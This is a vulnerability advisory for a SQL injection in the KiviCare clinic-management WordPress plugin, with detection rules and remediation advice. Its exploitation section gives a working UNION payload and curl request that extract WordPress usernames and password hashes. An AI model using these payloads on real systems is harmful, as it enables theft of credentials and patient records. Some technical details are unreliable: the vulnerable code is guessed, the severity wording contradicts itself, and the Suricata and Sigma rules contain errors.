CVE-2024-11729

Executive Summary

CVE-2024-11729 is a critical SQL Injection vulnerability discovered in the KiviCare – Clinic & Patient Management System (EHR) WordPress plugin, developed by Iqonic. The flaw resides in the get_widget_payment_options AJAX action, specifically within the service_list[0][service_id] parameter. An authenticated attacker with at least Custom-level access can inject arbitrary SQL queries into an existing query, leading to the extraction of sensitive information from the WordPress database, including user credentials, patient records, and other protected health information (PHI). This vulnerability affects all versions up to and including 3.6.4. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the KiviCare plugin. It is not related to any NPM, PyPI, Go, or Ruby packages. The risk is introduced through the plugin's supply chain, where users install the plugin from the WordPress plugin repository or third-party sources. Administrators should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – The attacker must be authenticated with Custom-level access or higher.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Sensitive data can be fully extracted.
• Integrity (I): None – Data cannot be modified.
• Availability (A): None – The system remains operational.

Threat Level: Medium. While the CVSS score is 6.5, the potential for data exfiltration of PHI and credentials elevates the risk for healthcare organizations.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection flaw in the get_widget_payment_options AJAX handler. The plugin fails to properly escape the service_list[0][service_id] parameter and does not use prepared statements for the SQL query. The vulnerable code likely constructs a query similar to:

SELECT * FROM wp_kivicare_payments WHERE service_id = " . $_POST['service_list'][0]['service_id'] . " ...

An attacker can inject a malicious payload such as:

1 UNION SELECT user_login, user_pass FROM wp_users --

This would append a UNION query to extract usernames and password hashes from the wp_users table. The AJAX action is accessible to authenticated users with Custom-level access, which is a default role in KiviCare for clinic staff.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.6.4):

$service_id = $_POST['service_list'][0]['service_id'];
$query = "SELECT * FROM {$wpdb->prefix}kivicare_payments WHERE service_id = $service_id";
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

$service_id = intval($_POST['service_list'][0]['service_id']);
$query = $wpdb->prepare(
    "SELECT * FROM {$wpdb->prefix}kivicare_payments WHERE service_id = %d",
    $service_id
);
$results = $wpdb->get_results($query);

The patched version uses intval() to cast the input to an integer and $wpdb->prepare() to safely parameterize the query, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with KiviCare plugin version <= 3.6.4.
• An authenticated user account with Custom-level access (e.g., a clinic staff account).

Exploitation Steps:

1. Authenticate to the WordPress site and obtain a valid session cookie.
2. Craft the malicious AJAX request to the admin-ajax.php endpoint with the action parameter set to get_widget_payment_options.
3. Inject SQL via the service_list[0][service_id] parameter.

Example cURL command:

curl -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -H 'Cookie: wordpress_logged_in_xxx=...' \
  -d 'action=get_widget_payment_options&service_list[0][service_id]=1 UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users-- -'

Expected Output: The response will contain the extracted data (e.g., usernames and password hashes) in the JSON output.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with the action=get_widget_payment_options parameter.
2. Inspect the service_list[0][service_id] parameter for SQL keywords (e.g., UNION, SELECT, FROM, --).
3. Alert on anomalous database queries from the WordPress user associated with the request.

Response Actions:

• Immediately revoke the compromised user's access.
• Review database logs for unauthorized queries.
• Apply virtual patching via a WAF (e.g., ModSecurity rule to block SQL injection patterns in the parameter).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=get_widget_payment_options and suspicious service_list[0][service_id] values containing SQL keywords.
  • Outbound data transfers containing database contents (e.g., large JSON responses with user data).

• Host IOCs:

  • Unusual entries in the WordPress wp_kivicare_payments table.
  • Modified plugin files (e.g., kivicare/includes/class-kivicare-ajax.php).
  • New user accounts with elevated privileges created via SQL injection.

• Log IOCs:

  • Database error logs showing failed SQL syntax attempts.
  • Web server access logs with admin-ajax.php requests from authenticated users with abnormal parameters.

Detection Engineering

YARA Rule

rule CVE_2024_11729_KiviCare_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-11729 in KiviCare plugin"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2024-11729"
    strings:
        $s1 = "service_list[0][service_id]" ascii wide nocase
        $s2 = "UNION" ascii wide nocase
        $s3 = "SELECT" ascii wide nocase
        $s4 = "FROM" ascii wide nocase
        $s5 = "wp_users" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4) or ($s1 and $s5)
}

Sigma Rule

title: CVE-2024-11729 KiviCare SQL Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against the KiviCare plugin via the service_list parameter.
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=get_widget_payment_options'
        cs-uri-query|contains: 'service_list[0][service_id]'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'FROM'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the parameter with numeric values only.
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11729 KiviCare SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=get_widget_payment_options"; http_client_body;
    content:"service_list[0][service_id]"; http_client_body;
    pcre:"/(UNION|SELECT|FROM|--)/i";
    sid:10000001;
    rev:1;
    reference:cve,2024-11729;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the KiviCare plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the service_list[0][service_id] parameter.
3. Review user accounts with Custom-level access and remove any that are unnecessary.

Long-term Fix:

• Apply the official patch from Iqonic once released.
• Upgrade to a patched version (e.g., 3.6.5 or later) when available.
• Conduct a security audit of all WordPress plugins and themes.

Workaround:

• If the plugin cannot be disabled, modify the vulnerable code manually by adding input validation and prepared statements as shown in the patched code example.

Report generated by Valters IT DevSecOps & CTI Division.